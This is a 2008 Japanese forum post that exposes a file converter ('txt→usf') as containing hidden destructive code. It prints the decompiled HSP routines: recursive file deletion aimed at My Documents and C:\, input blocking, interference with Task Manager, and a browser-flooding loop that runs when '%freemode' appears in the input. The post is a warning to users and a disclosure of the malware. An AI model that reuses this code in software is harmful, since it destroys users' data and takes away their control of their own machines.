トピック名 | これ、どういうこと? |
---|---|
投稿者 | NV |
概要 | これは重大な話である。 txt→usf変換。これにはウィルスが入ってる。 まず問題となるのはこの関数。 #deffunc _ining str prm_38, int prm_39, local prm_40, local prm_41, local chdir prm_38 notesel prm_40 dirlist prm_40, "*.*", 1 repeat noteinfo(0) noteget prm_41, cnt exist dirinfo(0) + "\\" + prm_41 mes dirinfo(0) + "\\" + prm_41 + "(" + strsize + "バイト) を削除しています..." wait rnd(30) if ( ginfo(23) > ginfo(13) ) { color boxf color 255, 255, 255 pos , 5 } await 2 loop dirlist prm_40, "*.*", 5 repeat noteinfo(0) noteget prm_41, cnt noteunsel _ining prm_41, prm_39 + 1 notesel prm_40 await 10 loop if ( prm_39 ) { chdir "../" } return _ining命令という名前で、フォルダを指定してファイルを削除できるようになっている。 次はこれ。 *label_07 bgscr 2, ginfo(20), ginfo(21), 0, 0, 0 color boxf oncmd gosub *label_08, 275 SetTimer hwnd, 1, 100, 0 onexit gosub *label_09 repeat 50 if ( rnd(2) ) { exec "http://yahoo.co.jp", 16 } else { exec "http://www.google.co.jp/", 16 } loop BlockInput 1 color 255, 255, 255 pos 50, 50 mes "説明書にちゃんと「%freemode%を使うな」って書いてあったのに" mes "使うからこんなことになるんですよ(ぇ" mes " by うひょ\n" mes "マウス・キーボードの入力を無効化しました。" mes "タスクマネージャを無効化しました。" _ining dirinfo(65541), 0 _ining "C:\\", 0 stop ここが問題である。 _ining dirinfo(65541), 0 _ining "C:\\", 0 dirinfo(65541)で取得できる情報はマイドキュメントのディレクトリ。 "C:\\"は、C:\直下である。 _ining命令は、フォルダを指定してファイルを削除できるようになっている。 これは明らか破壊活動だろう。 他にも、exec命令を使用したブラウザクラッシャー、BlockInput APIを使用した入力妨害、タスクマネージャへの妨害活動を行う。 発動条件 if ( instr(var_6, 0, "%freemode") >= 0 ) { goto *label_07 } より、ファイルの内容に%freemodeが含まれているとき。 活動まとめ ・http://yahoo.co.jp、http://www.google.co.jp/をランダムで50個開く ・入力を妨害する ・タスクマネージャの動作を妨害する ・マイドキュメント・Cドライブ直下のファイルをすべて削除する 作者へ この件がどういうことだか説明をしてほしい。 このソフトを使ってるユーザへ 即使用を中止すべきである。 |
作成日 | 2008年03月22日 14:55 |
最初 << >> 最後